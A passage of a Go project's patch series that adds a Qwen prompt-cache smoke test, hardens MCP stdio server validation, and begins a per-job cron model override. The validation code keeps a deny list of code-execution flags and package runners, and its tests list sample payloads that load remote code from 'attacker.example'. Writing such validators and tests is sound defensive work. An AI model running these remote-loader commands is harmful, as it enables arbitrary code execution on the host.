buildRequestBody(model string, req ChatRequest, stream // DashScope-specific passthrough keys — never send to other OpenAI-compat hosts. if p.dashScopePassthroughKeys() { + if level, ok := req.Options[OptThinkingLevel].(string); ok && level != "" && level != "off" && dashscopeThinkingModels[model] { + body[OptEnableThinking] = true + body[OptThinkingBudget] = dashscopeThinkingBudget(level) + } if v, ok := req.Options[OptEnableThinking]; ok { body[OptEnableThinking] = v } diff --git a/internal/providers/openai_test_helpers.go b/internal/providers/openai_test_helpers.go new file mode 100644 index 00000000..ecdf91a9 --- /dev/null +++ b/internal/providers/openai_test_helpers.go @@ -0,0 +1,8 @@ +package providers + +// BuildRequestBodyForTest is a test-only export of buildRequestBody for +// integration smoke tests in the tests/integration package. NOT part of the +// public API - do not call from production code paths. +func (p *OpenAIProvider) BuildRequestBodyForTest(model string, req ChatRequest, stream bool) map[string]any { + return p.buildRequestBody(model, req, stream) +} diff --git a/internal/providers/openai_types.go b/internal/providers/openai_types.go index 48389cfd..a658a1d6 100644 --- a/internal/providers/openai_types.go +++ b/internal/providers/openai_types.go @@ -56,8 +56,9 @@ type openAIUsage struct { } type openAIPromptDetails struct { - CachedTokens int `json:"cached_tokens"` - CacheWriteTokens int `json:"cache_write_tokens,omitempty"` + CachedTokens int `json:"cached_tokens"` + CacheWriteTokens int `json:"cache_write_tokens,omitempty"` // some OpenAI-compat providers + CacheCreationInputTokens int `json:"cache_creation_input_tokens,omitempty"` // DashScope/Qwen } type openAICompletionDetails struct { diff --git a/tests/integration/qwen_cache_smoke_test.go b/tests/integration/qwen_cache_smoke_test.go new file mode 100644 index 00000000..1021f915 --- /dev/null +++ b/tests/integration/qwen_cache_smoke_test.go @@ -0,0 +1,158 @@ +//go:build integration + +package integration + +import ( + "context" + "fmt" + "os" + "strings" + "testing" + "time" + + "github.com/nextlevelbuilder/goclaw/internal/providers" +) + +// TestQwenCacheSmoke verifies cache_control:ephemeral is honored by DashScope +// for multiple Qwen model variants. Uses a fresh per-run salt so call 1 always +// creates a new cache entry; call 2 hits it. +// +// Run: +// +// DASHSCOPE_API_KEY= \ +// go test -tags=integration ./tests/integration/ -run TestQwenCacheSmoke -v -timeout 5m +// +// Optional: +// +// DASHSCOPE_API_BASE=... (default coding-intl) +// DASHSCOPE_MODELS=a,b,c (comma-list; defaults to a curated set) +func TestQwenCacheSmoke(t *testing.T) { + apiKey := os.Getenv("DASHSCOPE_API_KEY") + if apiKey == "" { + t.Skip("set DASHSCOPE_API_KEY") + } + apiBase := os.Getenv("DASHSCOPE_API_BASE") + if apiBase == "" { + apiBase = "https://coding-intl.dashscope.aliyuncs.com/v1" + } + + models := []string{"qwen3-coder-plus", "qwen3-max", "qwen-plus", "qwen-turbo", "qwen3.6-plus"} + if v := os.Getenv("DASHSCOPE_MODELS"); v != "" { + models = strings.Split(v, ",") + } + + // cacheOptional models are observed without hard assertions. Production target + // models, including qwen3.6-plus, must report create/read cache tokens. + cacheOptional := map[string]bool{ + "qwen3.7-plus": true, + } + + // Per-run salt so the cache prefix is unique to this test run; call 1 will + // always be a cache miss (cache_creation > 0), call 2 a hit. + salt := time.Now().Format("20060102T150405.000000000") + + type result struct { + model string + ok bool + err string + create int + readHit int + prompt2 int + hitRate float64 + } + var results []result + + for _, model := range models { + t.Run(model, func(t *testing.T) { + r := result{model: model} + defer func() { results = append(results, r) }() + + p := providers.NewOpenAIProvider("qwen-smoke", apiKey, apiBase, model). + WithProviderType("bailian") + + // ~6K-token stable prefix, salted per run + per model so cache is fresh. + stableSys := fmt.Sprintf("You are an expert assistant for run=%s model=%s. ", salt, model) + + strings.Repeat("Provide thorough technically accurate answers about software engineering. Discuss architecture trade-offs performance security observability and maintenance. Cite design patterns and explain why they apply. ", 200) + + providers.CacheBoundaryMarker + + "\nDynamic suffix: " + time.Now().Format(time.RFC3339Nano) + + req := providers.ChatRequest{ + Model: model, + Messages: []providers.Message{ + {Role: "system", Content: stableSys}, + {Role: "user", Content: "Reply with one word: ok"}, + }, + Options: map[string]any{ + providers.OptMaxTokens: 8, + }, + } + + ctx, cancel := context.WithTimeout(context.Background(), 90*time.Second) + defer cancel() + + // Verify wire format wraps system content. + body := p.BuildRequestBodyForTest(model, req, false) + if msgs, ok := body["messages"].([]map[string]any); ok && len(msgs) > 0 { + if _, isBlocks := msgs[0]["content"].([]map[string]any); !isBlocks { + t.Fatalf("system content not wrapped as blocks; isDashScope() likely false") + } + } + + t.Logf("call 1 (cache create) model=%s...", model) + resp1, err := p.Chat(ctx, req) + if err != nil { + r.err = "call1: " + err.Error() + t.Fatalf("call 1: %v", err) + } + r.create = resp1.Usage.CacheCreationTokens + t.Logf(" call 1 prompt=%d cached=%d create=%d", + resp1.Usage.PromptTokens, resp1.Usage.CacheReadTokens, resp1.Usage.CacheCreationTokens) + + time.Sleep(3 * time.Second) + + t.Logf("call 2 (expected hit)...") + resp2, err := p.Chat(ctx, req) + if err != nil { + r.err = "call2: " + err.Error() + t.Fatalf("call 2: %v", err) + } + r.readHit = resp2.Usage.CacheReadTokens + r.prompt2 = resp2.Usage.PromptTokens + t.Logf(" call 2 prompt=%d cached=%d create=%d", + resp2.Usage.PromptTokens, resp2.Usage.CacheReadTokens, resp2.Usage.CacheCreationTokens) + + if r.prompt2 > 0 { + r.hitRate = float64(r.readHit) / float64(r.prompt2) + } + + // Per-model assertions: at least one of (create > 0 on call 1) OR + // (cached > 0 on call 2 with hit rate >= 80%) must hold. Both + // indicate cache_control plumbing works for this model. + if r.create == 0 && r.readHit == 0 { + if cacheOptional[model] { + t.Logf("model=%s: cache not observed (unconfirmed support) - no-op wrap, no cost", model) + return + } + t.Errorf("model=%s: cache appears UNSUPPORTED (no create, no hit)", model) + return + } + if r.readHit > 0 && r.hitRate < 0.80 { + t.Errorf("model=%s: hit rate %.1f%% < 80%%", model, r.hitRate*100) + return + } + r.ok = true + }) + } + + // Final summary table for easy copy/paste into validation report. + t.Log("\n=== Qwen cache support summary ===") + t.Logf("%-22s %-6s %-12s %-12s %-12s %-10s", "MODEL", "OK", "CREATE_TOK", "HIT_TOK", "PROMPT2", "HIT_RATE") + for _, r := range results { + ok := "PASS" + if !r.ok { + ok = "FAIL" + } + t.Logf("%-22s %-6s %-12d %-12d %-12d %-9.1f%%", + r.model, ok, r.create, r.readHit, r.prompt2, r.hitRate*100) + } +} From 878c33e96431a9c3558018244dc4d1cebe4cab6e Mon Sep 17 00:00:00 2001 From: Duy Nguyen Date: Sat, 20 Jun 2026 19:29:07 +0700 Subject: [PATCH 002/252] fix: harden MCP stdio validation --- docs/09-security.md | 2 + internal/http/mcp_tools.go | 7 + internal/mcp/manager_tools.go | 4 + internal/mcp/validation.go | 295 ++++++++++++++++++++++++++++++-- internal/mcp/validation_test.go | 142 +++++++++++++++ 5 files changed, 434 insertions(+), 16 deletions(-) diff --git a/docs/09-security.md b/docs/09-security.md index 6931c196..e9bfb4a4 100644 --- a/docs/09-security.md +++ b/docs/09-security.md @@ -77,6 +77,8 @@ flowchart TD S3 --> ALLOW["Allow request"] ``` +**MCP stdio validation** -- Admin-created, imported, tested, and on-demand-discovered MCP server configs pass `internal/mcp.ValidateServerConfig()` before any temporary or persistent client process is created. `stdio` configs are restricted to allowlisted runtime basenames, reject shell metacharacters and eval/import flags, and block remote loader/script/package execution modes such as `node --loader`, `python -m`, `deno`/`bun` remote refs, `npx`/`uvx`/`pipx` package targets, `uv --with`, `npm exec`, `go run`, `cargo install`, and `dotnet tool install`. SSE and streamable-HTTP transports use the SSRF validator above. + **Path traversal**: `resolvePath()` applies `filepath.Clean()` then `HasPrefix()` to ensure all paths stay within the workspace. With `restrict = true`, any path outside the workspace is blocked. **PathDenyable** -- An interface that lets filesystem tools reject specific path prefixes: diff --git a/internal/http/mcp_tools.go b/internal/http/mcp_tools.go index bcaa33dc..fb8052e6 100644 --- a/internal/http/mcp_tools.go +++ b/internal/http/mcp_tools.go @@ -31,6 +31,13 @@ func (h *MCPHandler) handleTestConnection(w http.ResponseWriter, r *http.Request writeJSON(w, http.StatusBadRequest, map[string]string{"error": i18n.T(locale, i18n.MsgRequired, "transport")}) return } + if err := mcpbridge.ValidateServerConfig(req.Transport, req.Command, req.Args, req.URL); err != nil { + writeJSON(w, http.StatusOK, map[string]any{ + "success": false, + "error": err.Error(), + }) + return + } tools, err := mcpbridge.DiscoverTools(r.Context(), req.Transport, req.Command, req.Args, req.Env, req.URL, req.Headers) if err != nil { diff --git a/internal/mcp/manager_tools.go b/internal/mcp/manager_tools.go index cd4373ad..513f1fe1 100644 --- a/internal/mcp/manager_tools.go +++ b/internal/mcp/manager_tools.go @@ -116,6 +116,10 @@ type ToolInfo struct { // DiscoverTools connects temporarily to an MCP server, lists its tools, and disconnects. // Used for on-demand discovery when no persistent Manager connection exists (DB-backed servers). func DiscoverTools(ctx context.Context, transportType, command string, args []string, env map[string]string, url string, headers map[string]string) ([]ToolInfo, error) { + if err := ValidateServerConfig(transportType, command, args, url); err != nil { + return nil, fmt.Errorf("invalid MCP server config: %w", err) + } + ctx, cancel := context.WithTimeout(ctx, 15*time.Second) defer cancel() diff --git a/internal/mcp/validation.go b/internal/mcp/validation.go index d5f5feec..050c64c7 100644 --- a/internal/mcp/validation.go +++ b/internal/mcp/validation.go @@ -2,6 +2,7 @@ package mcp import ( "fmt" + "net/url" "os" "regexp" "strings" @@ -25,13 +26,13 @@ var shellMetaChars = regexp.MustCompile(`[;|&$` + "`" + `(){}[\]<>]`) // Dangerous arg flags that enable code execution. var dangerousArgPatterns = []string{ - "--eval", "-e", "-c", // Code execution flags - "--require", "-r", // Module injection - "--import", // ES module injection - "exec(", "eval(", // Inline code - "__import__", // Python import injection - "child_process", // Node.js process spawning - "subprocess", // Python subprocess + "--eval", "-e", "-c", // Code execution flags + "--require", "-r", // Module injection + "--import", // ES module injection + "exec(", "eval(", // Inline code + "__import__", // Python import injection + "child_process", // Node.js process spawning + "subprocess", // Python subprocess } // Fail-closed env var allowlist — only these are permitted for env: resolution. @@ -71,14 +72,10 @@ func ValidateCommand(cmd string) error { return fmt.Errorf("command contains newline characters") } - // Extract basename for allowlist check - basename := cmd - if idx := strings.LastIndex(cmd, "/"); idx >= 0 { - basename = cmd[idx+1:] - } + basename := commandBasename(cmd) // Allow absolute paths to known commands - if strings.HasPrefix(cmd, "/") { + if strings.HasPrefix(cmd, "/") || strings.ContainsAny(cmd, `/\`) { if !allowedCommands[basename] { return fmt.Errorf("command %q not in allowlist", basename) } @@ -86,8 +83,8 @@ func ValidateCommand(cmd string) error { } // Bare command must be in allowlist - if !allowedCommands[cmd] { - return fmt.Errorf("command %q not in allowlist (allowed: node, npx, python, python3, ruby, go, java, uvx, uv, pipx, deno, bun)", cmd) + if !allowedCommands[basename] { + return fmt.Errorf("command %q not in allowlist (allowed: node, npx, python, python3, ruby, go, java, uvx, uv, pipx, deno, bun)", basename) } return nil } @@ -109,6 +106,272 @@ func ValidateArgs(args []string) error { return nil } +// ValidateArgsForCommand applies command-specific stdio restrictions after the +// generic argument scan. Several allowed runtimes also include package runners +// or remote loaders; those execution modes are blocked for untrusted MCP config. +func ValidateArgsForCommand(command string, args []string) error { + if err := ValidateArgs(args); err != nil { + return err + } + + switch commandBasename(command) { + case "node": + return validateNodeArgs(args) + case "python", "python2", "python3": + return validatePythonArgs(args) + case "deno": + return validateDenoArgs(args) + case "bun": + return validateBunArgs(args) + case "npx", "npm", "uvx", "uv", "pipx": + return validatePackageRunnerArgs(commandBasename(command), args) + case "go": + return validateGoArgs(args) + case "cargo": + return validateCargoArgs(args) + case "dotnet": + return validateDotnetArgs(args) + default: + return nil + } +} + +func commandBasename(command string) string { + base := strings.TrimSpace(command) + if idx := strings.LastIndexAny(base, `/\`); idx >= 0 { + base = base[idx+1:] + } + base = strings.TrimSuffix(strings.ToLower(base), ".exe") + return base +} + +func validateNodeArgs(args []string) error { + for i, arg := range args { + if isFlag(arg, "-p", "--print", "--loader", "--experimental-loader") { + return fmt.Errorf("arg[%d] uses blocked node execution flag %q", i, arg) + } + } + return nil +} + +func validatePythonArgs(args []string) error { + for i, arg := range args { + lower := strings.ToLower(arg) + if lower == "-m" || strings.HasPrefix(lower, "-m") && lower != "--" { + return fmt.Errorf("arg[%d] uses blocked python module execution flag %q", i, arg) + } + } + return nil +} + +func validateDenoArgs(args []string) error { + if err := validateRuntimeRemoteRefs(args); err != nil { + return err + } + for i, arg := range args { + switch strings.ToLower(strings.TrimSpace(arg)) { + case "add", "install": + return fmt.Errorf("arg[%d] uses blocked deno package subcommand %q", i, args[i]) + } + } + return nil +} + +func validateBunArgs(args []string) error { + if err := validateRuntimeRemoteRefs(args); err != nil { + return err + } + for i, arg := range args { + switch strings.ToLower(strings.TrimSpace(arg)) { + case "x", "create", "add", "install", "update", "upgrade": + return fmt.Errorf("arg[%d] uses blocked bun package subcommand %q", i, args[i]) + } + } + return nil +} + +func validateRuntimeRemoteRefs(args []string) error { + for i, arg := range args { + if isRemoteCodeReference(arg) { + return fmt.Errorf("arg[%d] uses blocked remote code reference %q", i, arg) + } + } + return nil +} + +func validatePackageRunnerArgs(command string, args []string) error { + switch command { + case "npx": + return validatePackageTargetArgs(command, args, []string{"--package", "-p", "--call"}) + case "uvx": + return validatePackageTargetArgs(command, args, []string{"--from", "--with", "--with-editable", "--with-requirements"}) + case "npm": + return validateNPMArgs(args) + case "pipx": + return validatePipxArgs(args) + case "uv": + return validateUVArgs(args) + default: + return nil + } +} + +func validatePackageTargetArgs(command string, args []string, blockedFlags []string) error { + for i, arg := range args { + if isFlag(arg, blockedFlags...) { + return fmt.Errorf("arg[%d] uses blocked %s package flag %q", i, command, arg) + } + if isOptionArg(arg) { + continue + } + if !isLikelyLocalPath(arg) { + return fmt.Errorf("arg[%d] uses blocked %s package target %q", i, command, arg) + } + } + return nil +} + +func validateNPMArgs(args []string) error { + for i, arg := range args { + switch strings.ToLower(strings.TrimSpace(arg)) { + case "exec", "x", "run", "run-script", "create", "install", "i", "add", "update", "upgrade": + return fmt.Errorf("arg[%d] uses blocked npm subcommand %q", i, args[i]) + } + } + return nil +} + +func validatePipxArgs(args []string) error { + for i, arg := range args { + switch strings.ToLower(strings.TrimSpace(arg)) { + case "run", "install", "inject", "upgrade", "upgrade-all", "runpip": + return fmt.Errorf("arg[%d] uses blocked pipx subcommand %q", i, args[i]) + } + } + return nil +} + +func validateUVArgs(args []string) error { + sawTool := false + sawPip := false + for i, arg := range args { + if isFlag(arg, "--with", "--with-editable", "--with-requirements", "--from") { + return fmt.Errorf("arg[%d] uses blocked uv package flag %q", i, arg) + } + lower := strings.ToLower(strings.TrimSpace(arg)) + if lower == "" || isOptionArg(lower) { + continue + } + switch { + case lower == "tool": + sawTool = true + continue + case lower == "pip": + sawPip = true + continue + case sawTool && (lower == "run" || lower == "install" || lower == "upgrade"): + return fmt.Errorf("arg[%d] uses blocked uv tool subcommand %q", i, args[i]) + case sawPip && (lower == "install" || lower == "sync"): + return fmt.Errorf("arg[%d] uses blocked uv pip subcommand %q", i, args[i]) + case lower == "add" || lower == "sync": + return fmt.Errorf("arg[%d] uses blocked uv package subcommand %q", i, args[i]) + } + } + return nil +} + +func validateGoArgs(args []string) error { + for i, arg := range args { + switch strings.ToLower(strings.TrimSpace(arg)) { + case "run", "install", "get": + return fmt.Errorf("arg[%d] uses blocked go package subcommand %q", i, args[i]) + } + } + return nil +} + +func validateCargoArgs(args []string) error { + for i, arg := range args { + switch strings.ToLower(strings.TrimSpace(arg)) { + case "run", "install", "add", "update": + return fmt.Errorf("arg[%d] uses blocked cargo package subcommand %q", i, args[i]) + } + } + return nil +} + +func validateDotnetArgs(args []string) error { + sawTool := false + sawAdd := false + for i, arg := range args { + lower := strings.ToLower(strings.TrimSpace(arg)) + if lower == "" || isOptionArg(lower) { + continue + } + switch { + case lower == "run", lower == "restore": + return fmt.Errorf("arg[%d] uses blocked dotnet subcommand %q", i, args[i]) + case lower == "tool": + sawTool = true + continue + case sawTool && (lower == "install" || lower == "update" || lower == "run"): + return fmt.Errorf("arg[%d] uses blocked dotnet tool subcommand %q", i, args[i]) + case lower == "add": + sawAdd = true + continue + case sawAdd && lower == "package": + return fmt.Errorf("arg[%d] uses blocked dotnet package subcommand %q", i, args[i]) + } + } + return nil +} + +func isFlag(arg string, names ...string) bool { + lower := strings.ToLower(strings.TrimSpace(arg)) + for _, name := range names { + if lower == name || strings.HasPrefix(lower, name+"=") { + return true + } + } + return false +} + +func isOptionArg(arg string) bool { + return strings.HasPrefix(strings.TrimSpace(arg), "-") +} + +func isLikelyLocalPath(arg string) bool { + arg = strings.TrimSpace(arg) + if strings.HasPrefix(arg, "./") || strings.HasPrefix(arg, `.\`) || + strings.HasPrefix(arg, "/") || strings.HasPrefix(arg, `\`) { + return true + } + return len(arg) >= 3 && arg[1] == ':' && (arg[2] == '\\' || arg[2] == '/') +} + +func isRemoteCodeReference(arg string) bool { + arg = strings.TrimSpace(arg) + if isLikelyLocalPath(arg) { + return false + } + u, err := url.Parse(strings.TrimSpace(arg)) + if err != nil { + return false + } + if u.Scheme == "" { + return false + } + if len(u.Scheme) == 1 && len(arg) >= 2 && arg[1] == ':' { + return false + } + switch u.Scheme { + case "http", "https", "npm", "jsr", "git", "git+https", "git+ssh", "ssh": + return true + default: + return u.Host != "" + } +} + // ValidateURL checks URL for SSRF vulnerabilities using the existing security package. // This provides DNS rebinding protection via IP pinning. func ValidateURL(rawURL string) error { @@ -150,7 +413,7 @@ func ValidateServerConfig(transport, command string, args []string, url string) if err := ValidateCommand(command); err != nil { return fmt.Errorf("invalid command: %w", err) } - if err := ValidateArgs(args); err != nil { + if err := ValidateArgsForCommand(command, args); err != nil { return fmt.Errorf("invalid args: %w", err) } } diff --git a/internal/mcp/validation_test.go b/internal/mcp/validation_test.go index 42cc7be9..7ab6244a 100644 --- a/internal/mcp/validation_test.go +++ b/internal/mcp/validation_test.go @@ -1,6 +1,8 @@ package mcp import ( + "context" + "strings" "testing" "github.com/nextlevelbuilder/goclaw/internal/security" @@ -226,6 +228,146 @@ func TestValidateServerConfig_Combined(t *testing.T) { } } +func TestValidateServerConfig_StdioRuntimeBypassPayloadsRejected(t *testing.T) { + tests := []struct { + name string + command string + args []string + }{ + { + name: "deno remote script url", + command: "deno", + args: []string{"run", "--allow-all", "https://attacker.example/mcp.ts"}, + }, + { + name: "deno npm package spec", + command: "deno", + args: []string{"run", "npm:@attacker/mcp-server"}, + }, + { + name: "bun remote script url", + command: "bun", + args: []string{"https://attacker.example/mcp.ts"}, + }, + { + name: "bun package executor", + command: "bun", + args: []string{"x", "attacker-mcp-server"}, + }, + { + name: "npx remote package target", + command: "npx", + args: []string{"@attacker/mcp-server@1.0.0"}, + }, + { + name: "uvx remote package target", + command: "uvx", + args: []string{"attacker-mcp-server"}, + }, + { + name: "pipx run remote package target", + command: "pipx", + args: []string{"run", "attacker-mcp-server"}, + }, + { + name: "uv run package injection", + command: "uv", + args: []string{"run", "--with", "attacker-mcp-server", "python", "-V"}, + }, + { + name: "node remote loader", + command: "node", + args: []string{"--loader=https://attacker.example/loader.mjs", "./server.js"}, + }, + { + name: "node print flag", + command: "node", + args: []string{"-p", "process.version"}, + }, + { + name: "python module execution", + command: "python", + args: []string{"-m", "pip", "--version"}, + }, + { + name: "npm exec remote package", + command: "npm", + args: []string{"exec", "attacker-mcp-server"}, + }, + { + name: "npm option before exec", + command: "npm", + args: []string{"--prefix", ".", "exec", "attacker-mcp-server"}, + }, + { + name: "pipx option before run", + command: "pipx", + args: []string{"--global", "run", "attacker-mcp-server"}, + }, + { + name: "uv pip option before install", + command: "uv", + args: []string{"pip", "--python", "3.12", "install", "attacker-mcp-server"}, + }, + { + name: "go run remote package", + command: "go", + args: []string{"run", "github.com/attacker/mcp-server@latest"}, + }, + { + name: "cargo install remote crate", + command: "cargo", + args: []string{"install", "attacker-mcp-server"}, + }, + { + name: "dotnet tool install package", + command: "dotnet", + args: []string{"tool", "install", "attacker-mcp-server"}, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if err := ValidateServerConfig("stdio", tt.command, tt.args, ""); err == nil { + t.Fatalf("ValidateServerConfig accepted %s %v", tt.command, tt.args) + } + }) + } +} + +func TestValidateServerConfig_StdioLocalServerArgsAllowed(t *testing.T) { + tests := []struct { + name string + command string + args []string + }{ + {name: "node local script", command: "node", args: []string{"./server.js"}}, + {name: "python local script", command: "python3", args: []string{"./server.py"}}, + {name: "deno local script", command: "deno", args: []string{"run", "./server.ts"}}, + {name: "bun local script", command: "bun", args: []string{"./server.ts"}}, + {name: "npx local target", command: "npx", args: []string{"./node_modules/.bin/mcp-server"}}, + {name: "uv local run", command: "uv", args: []string{"run", "./server.py"}}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if err := ValidateServerConfig("stdio", tt.command, tt.args, ""); err != nil { + t.Fatalf("ValidateServerConfig rejected local server args: %v", err) + } + }) + } +} + +func TestDiscoverTools_RejectsUnsafeConfigBeforeSpawn(t *testing.T) { + _, err := DiscoverTools(context.Background(), "stdio", "npx", []string{"@attacker/mcp-server@1.0.0"}, nil, "", nil) + if err == nil { + t.Fatal("DiscoverTools accepted unsafe stdio config") + } + if !strings.Contains(err.Error(), "invalid MCP server config") { + t.Fatalf("DiscoverTools error = %v, want validation error", err) + } +} + func TestValidateHeaders_EnvVarCheck(t *testing.T) { tests := []struct { name string From f8875e46d61d67e229afdcd7aa50d2dbff7e54db Mon Sep 17 00:00:00 2001 From: Duy Nguyen Date: Sat, 20 Jun 2026 22:45:35 +0700 Subject: [PATCH 003/252] fix: reject path-based MCP runtime commands --- docs/09-security.md | 2 +- internal/mcp/validation.go | 22 +++++++++++++------ internal/mcp/validation_test.go | 38 ++++++++++++++++++++++++++++++++- 3 files changed, 53 insertions(+), 9 deletions(-) diff --git a/docs/09-security.md b/docs/09-security.md index e9bfb4a4..1e7d65d0 100644 --- a/docs/09-security.md +++ b/docs/09-security.md @@ -77,7 +77,7 @@ flowchart TD S3 --> ALLOW["Allow request"] ``` -**MCP stdio validation** -- Admin-created, imported, tested, and on-demand-discovered MCP server configs pass `internal/mcp.ValidateServerConfig()` before any temporary or persistent client process is created. `stdio` configs are restricted to allowlisted runtime basenames, reject shell metacharacters and eval/import flags, and block remote loader/script/package execution modes such as `node --loader`, `python -m`, `deno`/`bun` remote refs, `npx`/`uvx`/`pipx` package targets, `uv --with`, `npm exec`, `go run`, `cargo install`, and `dotnet tool install`. SSE and streamable-HTTP transports use the SSRF validator above. +**MCP stdio validation** -- Admin-created, imported, tested, and on-demand-discovered MCP server configs pass `internal/mcp.ValidateServerConfig()` before any temporary or persistent client process is created. `stdio` configs are restricted to bare allowlisted runtime names resolved from `PATH`; path-bearing commands such as `./node`, `tools/node`, `/tmp/node`, or `.\\node.exe` are rejected to prevent wrapper substitution. Arguments reject shell metacharacters and eval/import flags, and block remote loader/script/package execution modes such as `node --loader`, `python -m`, `deno`/`bun` remote refs, `npx`/`uvx`/`pipx` package targets, `uv --with`, `npm exec`, `go run`, `cargo install`, and `dotnet tool install`. SSE and streamable-HTTP transports use the SSRF validator above. **Path traversal**: `resolvePath()` applies `filepath.Clean()` then `HasPrefix()` to ensure all paths stay within the workspace. With `restrict = true`, any path outside the workspace is blocked. diff --git a/internal/mcp/validation.go b/internal/mcp/validation.go index 050c64c7..6d8194b8 100644 --- a/internal/mcp/validation.go +++ b/internal/mcp/validation.go @@ -5,6 +5,7 @@ import ( "net/url" "os" "regexp" + "sort" "strings" "github.com/nextlevelbuilder/goclaw/internal/security" @@ -74,17 +75,15 @@ func ValidateCommand(cmd string) error { basename := commandBasename(cmd) - // Allow absolute paths to known commands - if strings.HasPrefix(cmd, "/") || strings.ContainsAny(cmd, `/\`) { - if !allowedCommands[basename] { - return fmt.Errorf("command %q not in allowlist", basename) - } - return nil + // Only bare runtime names are accepted. Path-bearing commands can point at + // workspace-controlled wrappers named after an allowlisted runtime. + if strings.ContainsAny(cmd, `/\`) { + return fmt.Errorf("command must be a bare allowlisted runtime name, not a path") } // Bare command must be in allowlist if !allowedCommands[basename] { - return fmt.Errorf("command %q not in allowlist (allowed: node, npx, python, python3, ruby, go, java, uvx, uv, pipx, deno, bun)", basename) + return fmt.Errorf("command %q not in allowlist (allowed: %s)", basename, allowedCommandNames()) } return nil } @@ -145,6 +144,15 @@ func commandBasename(command string) string { return base } +func allowedCommandNames() string { + names := make([]string, 0, len(allowedCommands)) + for name := range allowedCommands { + names = append(names, name) + } + sort.Strings(names) + return strings.Join(names, ", ") +} + func validateNodeArgs(args []string) error { for i, arg := range args { if isFlag(arg, "-p", "--print", "--loader", "--experimental-loader") { diff --git a/internal/mcp/validation_test.go b/internal/mcp/validation_test.go index 7ab6244a..c756f059 100644 --- a/internal/mcp/validation_test.go +++ b/internal/mcp/validation_test.go @@ -30,13 +30,14 @@ func TestValidateCommand_Injection_Rejected(t *testing.T) { {"not in allowlist", "sh", true}, {"not in allowlist bash", "bash", true}, {"valid node", "node", false}, + {"valid node exe basename", "node.exe", false}, {"valid npx", "npx", false}, {"valid python", "python", false}, {"valid python3", "python3", false}, {"valid uvx", "uvx", false}, {"valid deno", "deno", false}, {"valid bun", "bun", false}, - {"valid absolute path", "/usr/local/bin/node", false}, + {"absolute path to runtime rejected", "/usr/local/bin/node", true}, {"empty command", "", false}, } for _, tt := range tests { @@ -52,6 +53,41 @@ func TestValidateCommand_Injection_Rejected(t *testing.T) { } } +func TestValidateCommand_PathBearingRuntimeRejected(t *testing.T) { + tests := []string{ + "./node", + "tools/node", + "./python", + `.\node.exe`, + `tools\node.exe`, + "/tmp/node", + "/workspace/node", + `C:\tmp\node.exe`, + } + + for _, command := range tests { + t.Run(command, func(t *testing.T) { + if err := ValidateCommand(command); err == nil { + t.Fatalf("ValidateCommand(%q) accepted path-bearing runtime", command) + } + }) + } +} + +func TestValidateCommand_AllowedCommandsErrorIsComplete(t *testing.T) { + err := ValidateCommand("sh") + if err == nil { + t.Fatal("ValidateCommand accepted disallowed command") + } + + msg := err.Error() + for _, want := range []string{"cargo", "dotnet", "npm", "php", "python2"} { + if !strings.Contains(msg, want) { + t.Fatalf("allowlist error %q missing %q", msg, want) + } + } +} + func TestValidateArgs_DangerousPatterns_Rejected(t *testing.T) { tests := []struct { name string From 2bf0f9e1720e397973a8307a29223ba477151499 Mon Sep 17 00:00:00 2001 From: Zezae Oh Date: Sun, 21 Jun 2026 02:19:39 +0900 Subject: [PATCH 004/252] feat(cron): per-job LLM provider/model override (#1234) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit makeCronJobHandler builds the agent RunRequest with no provider/model, so cron jobs always run on the agent default provider. High-frequency scheduled jobs (e.g. triage) can't be routed to a cheaper model the way heartbeats already can via agent_heartbeats.provider_id/model. Add provider_id/model to cron_jobs (Postgres migration 000074; SQLite schema + migration v42→43, both mirroring agent_heartbeats) and resolve them into RunRequest.ProviderOverride/ModelOverride in the handler, reusing the existing per-run override plumbing that heartbeats use. NULL/unset → agent default, so existing jobs are unaffected. Settable today via UpdateJob patch (CronJobPatch.ProviderID/Model) or directly in the DB; tool/RPC/dashboard exposure left as a follow-up. Verified: go build ./... and go build -tags sqlite ./... (exit 0), go vet, gofmt, and cron unit tests on both pg and sqlite stores. --- cmd/gateway_cron.go | 23 +++++- cmd/gateway_cron_test.go | 4 + cmd/gateway_heartbeat.go | 2 +- cmd/gateway_tools_wiring.go | 4 +- internal/store/cron_store.go | 4 + internal/store/pg/cron_crud.go | 2 +- internal/store/pg/cron_scan.go | 9 ++- internal/store/pg/cron_scheduler.go | 4 +- internal/store/pg/cron_update.go | 8 +- internal/store/sqlitestore/cron.go | 9 ++- internal/store/sqlitestore/cron_crud.go | 8 +- internal/store/sqlitestore/cron_scheduler.go | 4 +- internal/store/sqlitestore/schema.go | 5 +- internal/store/sqlitestore/schema.sql | 2 + internal/tools/cron.go | 75 +++++++++++++++++-- internal/upgrade/version.go | 2 +- .../000081_cron_provider_override.down.sql | 2 + .../000081_cron_provider_override.up.sql | 6 ++ 18 files changed, 151 insertions(+), 22 deletions(-) create mode 100644 migrations/000081_cron_provider_override.down.sql create mode 100644 migrations/000081_cron_provider_override.up.sql diff --git a/cmd/gateway_cron.go b/cmd/gateway_cron.go index 0ee72308..cb357903 100644 --- a/cmd/gateway_cron.go +++ b/cmd/gateway_cron.go @@ -12,6 +12,7 @@ import ( "github.com/nextlevelbuilder/goclaw/internal/bus" "github.com/nextlevelbuilder/goclaw/internal/channels" "github.com/nextlevelbuilder/goclaw/internal/config" + "github.com/nextlevelbuilder/goclaw/internal/providers" "github.com/nextlevelbuilder/goclaw/internal/scheduler" "github.com/nextlevelbuilder/goclaw/internal/sessions" "github.com/nextlevelbuilder/goclaw/internal/store" @@ -24,7 +25,7 @@ import ( // Safe because cron jobs only fire after Start(), well after this is set. var cronHeartbeatWakeFn func(agentID string) -func makeCronJobHandler(sched *scheduler.Scheduler, msgBus *bus.MessageBus, cfg *config.Config, channelMgr *channels.Manager, sessionMgr store.SessionStore, agentStore store.AgentStore) func(job *store.CronJob) (*store.CronJobResult, error) { +func makeCronJobHandler(sched *scheduler.Scheduler, msgBus *bus.MessageBus, cfg *config.Config, channelMgr *channels.Manager, sessionMgr store.SessionStore, agentStore store.AgentStore, providerStore store.ProviderStore, providerReg *providers.Registry) func(job *store.CronJob) (*store.CronJobResult, error) { return func(job *store.CronJob) (*store.CronJobResult, error) { agentID := job.AgentID if agentID == "" && agentStore != nil { @@ -97,6 +98,24 @@ func makeCronJobHandler(sched *scheduler.Scheduler, msgBus *bus.MessageBus, cfg sessionMgr.Save(cronCtx, sessionKey) } + // Resolve per-job provider/model 